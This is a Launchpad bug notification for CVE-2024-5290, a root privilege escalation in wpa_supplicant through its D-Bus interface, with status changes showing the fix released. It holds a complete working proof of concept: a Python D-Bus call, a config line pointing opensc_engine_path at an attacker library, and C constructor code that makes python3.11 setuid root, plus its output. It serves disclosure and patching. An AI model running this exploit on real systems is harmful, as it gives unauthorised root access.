** Also affects: wpa (Debian)
Importance: Undecided
Status: New
** Changed in: wpa (Debian)
Importance: Undecided => High
** Changed in: wpa (Debian)
Status: New => Fix Released
** Changed in: wpa (Debian)
Assignee: (unassigned) => Andrej Shadura (andrew.sh)
--
You received this bug notification because you are a member of Desktop
Packages, which is subscribed to wpa in Ubuntu.
https://bugs.launchpad.net/bugs/2067613
Title:
CVE-2024-5290 : Fix loading of arbitrary shared objects
Status in wpa package in Ubuntu:
Fix Released
Status in wpa package in Debian:
Fix Released
Bug description:
Hello team
We received a vulnerability report a while back - that lets users load
arbitrary shared object files in the context of the wpa_supplicant
process running as root in affected Ubuntu systems.
TLDR : Upstream released a fix :
https://w1.fi/cgit/hostap/commit/?id=c84388ee4c66bcd310db57489eac4a75fc600747
that includes a compile time config for allow-listing a set of shared
objects.
Details here :
`wpa_supplicant` is a binary package of source `wpa`
```sh
$ umt search wpa
Running search command.
Ubuntu packages:
Release Version Pocket Component
trusty 2.1-0ubuntu1.7 security main
trusty/esm 2.1-0ubuntu1.7+esm4 security main
xenial 2.4-0ubuntu6.8 security main
bionic 2:2.6-15ubuntu2.8 security main
focal 2:2.9-1ubuntu4.3 security main
jammy 2:2.10-6ubuntu2 updates main
lunar 2:2.10-12 release main
mantic 2:2.10-15 release main
noble 2:2.10-21build4 release main
Other packages:
Release Version Pocket Component
bookworm 2:2.10-12 release main
bullseye 2:2.9.0-21 release main
buster 2:2.7+git20190128+0c1e29f-6+deb10u4 updates main
testing 2:2.10-21.1 release main
unstable 2:2.10-21.1 release main
```
Upstream - https://w1.fi/cgit
upstream examples point to config that lets all users in group `wheel` access
the frontend.
debian and ubuntu use group membership to control access to D-Bus
So in `debian/patches/02_dbus_group_policy.patch`
```
diff --git a/wpa_supplicant/dbus/dbus-wpa_supplicant.conf
b/wpa_supplicant/dbus/dbus-wpa_supplicant.conf
index e81b495..413c049 100644
--- a/wpa_supplicant/dbus/dbus-wpa_supplicant.conf
+++ b/wpa_supplicant/dbus/dbus-wpa_supplicant.conf
@@ -9,6 +9,11 @@
<allow send_interface="fi.w1.wpa_supplicant1"/>
<allow receive_sender="fi.w1.wpa_supplicant1"
receive_type="signal"/>
</policy>
+ <policy group="netdev">
+ <allow send_destination="fi.w1.wpa_supplicant1"/>
+ <allow send_interface="fi.w1.wpa_supplicant1"/>
+ <allow receive_sender="fi.w1.wpa_supplicant1"
receive_type="signal"/>
+ </policy>
<policy context="default">
<deny own="fi.w1.wpa_supplicant1"/>
<deny send_destination="fi.w1.wpa_supplicant1"/>
```
to allow `netdev` users access to the wpa_supplicant which gets started as a
service
```
diff --git a/wpa_supplicant/systemd/wpa_supplicant.service.in
b/wpa_supplicant/systemd/wpa_supplicant.service.in
index 18cbc11..f02bc15 100644
--- a/wpa_supplicant/systemd/wpa_supplicant.service.in
+++ b/wpa_supplicant/systemd/wpa_supplicant.service.in
@@ -8,8 +8,11 @@ IgnoreOnIsolate=true
[Service]
Type=dbus
BusName=fi.w1.wpa_supplicant1
-ExecStart=@BINDIR@/wpa_supplicant -u -s -O /run/wpa_supplicant
+ExecStart=@BINDIR@/wpa_supplicant -u -s -O "DIR=/run/wpa_supplicant
GROUP=netdev"
ExecReload=/bin/kill -HUP $MAINPID
+Group=netdev
+RuntimeDirectory=wpa_supplicant
+RuntimeDirectoryMode=0750
[Install]
WantedBy=multi-user.target
```
If a user is able to escalate to `netdev` - they will be able to interact
with the dbus interface.
One of the interface `fi.w1.wpa_supplicant1` lets the user create a network
interface via `CreateInterface` - See
[`wpas_dbus_handler_create_interface`](http://w1.fi/wpa_supplicant/devel/dbus__new__handlers_8h.html#a4c504285e9504dc5508f35646278f867)
`ConfigFile` has configurations for a network interface
* for loading an opensc engine with `opensc_engine_path`which is a path to a
shared object. See
[`opensc_engine_path`](https://w1.fi/wpa_supplicant/devel/structwpa__config.html#a791fade4701a30852dbb2b25866ba359)
* for loading a PKCS#11 engine with `pkcs11_engine_path` which is a path to a
shared object. See
[`pkcs11_engine_path`](https://w1.fi/wpa_supplicant/devel/structwpa__config.html#adf38e52ccfe1b621ef5a18b78b1c3a9e)
Both these paths don't check for paths - any arbitrary location -
leading to arbitrary code execution.
Overall any user within the group `netdev` would be able to load arbitrary
shared objects - in the context of a process running as root - granting
privilege escalation to `root`
The process that loads these objects is launched with
`/usr/sbin/wpa_supplicant -u -s -O DIR=/run/wpa_supplicant GROUP=netdev `
the trace looks like
```
openat(AT_FDCWD, "/tmp/stage/loadable.so", O_RDONLY|O_CLOEXEC) = 8
read(8, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\0\0\0\0\0\0\0\0"...,
832) = 832
fstat(8, {st_mode=S_IFREG|0755, st_size=15544, ...}) = 0
mmap(NULL, 16408, PROT_READ, MAP_PRIVATE|MAP_DENYWRITE, 8, 0) = 0x7b77cdcde000
mmap(0x7b77cdcdf000, 4096, PROT_READ|PROT_EXEC,
MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 8, 0x1000) = 0x7b77cdcdf000
mmap(0x7b77cdce0000, 4096, PROT_READ, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 8,
0x2000) = 0x7b77cdce0000
mmap(0x7b77cdce1000, 8192, PROT_READ|PROT_WRITE,
MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 8, 0x2000) = 0x7b77cdce1000
close(8) = 0
mprotect(0x7b77cdce1000, 4096, PROT_READ) = 0
```
Example from my 23.11 test machine
```
$ \cat wpa.py
import dbus
open("/tmp/done", "w").write("done")
system_bus = dbus.SystemBus()
wpasupplicant = system_bus.get_object("fi.w1.wpa_supplicant1",
"/fi/w1/wpa_supplicant1")
wpasupplicant.CreateInterface(dbus.types.Dictionary({
"Ifname": "lo",
"ConfigFile": "/tmp/stage/wpa_conf",
"Driver": "wired"
}, signature="sv"), dbus_interface="fi.w1.wpa_supplicant1")
$ cat >> /tmp/stage/wpa_conf <<EOF
opensc_engine_path=/tmp/stage/loadable.so
EOF
$ ll /usr/bin/python3.11
Permissions Size User Date Modified Name
.rwxr-xr-x 6.8M root 8 Oct 2023 /usr/bin/python3.11
$ \cat loadable.c
#include <sys/stat.h>
void __attribute__((constructor)) so_main() {
chmod("/usr/bin/python3.11", 04755);
}
$ gcc -fPIC -shared -o loadable.so loadable.c
$ cp loadable.so /tmp/stage
$ chmod -R 777 /tmp/stage
# sg netdev -c 'python3 wpa.py'
Traceback (most recent call last):
File "/home/sudhackar/Desktop/psirt/rory/wpa.py", line 6, in <module>
wpasupplicant.CreateInterface(dbus.types.Dictionary({
File "/usr/lib/python3/dist-packages/dbus/proxies.py", line 72, in __call__
return self._proxy_method(*args, **keywords)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/usr/lib/python3/dist-packages/dbus/proxies.py", line 141, in __call__
return self._connection.call_blocking(self._named_service,
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/usr/lib/python3/dist-packages/dbus/connection.py", line 634, in
call_blocking
reply_message = self.send_message_with_reply_and_block(
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
dbus.exceptions.DBusException: fi.w1.wpa_supplicant1.UnknownError:
wpa_supplicant couldn't grab this interface.
$ ll /usr/bin/python3.11
Permissions Size User Date Modified Name
.rwsr-xr-x 6.8M root 8 Oct 2023 /usr/bin/python3.11
```
To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/wpa/+bug/2067613/+subscriptions
--
Mailing list: https://launchpad.net/~desktop-packages
Post to : [email protected]
Unsubscribe : https://launchpad.net/~desktop-packages
More help : https://help.launchpad.net/ListHelp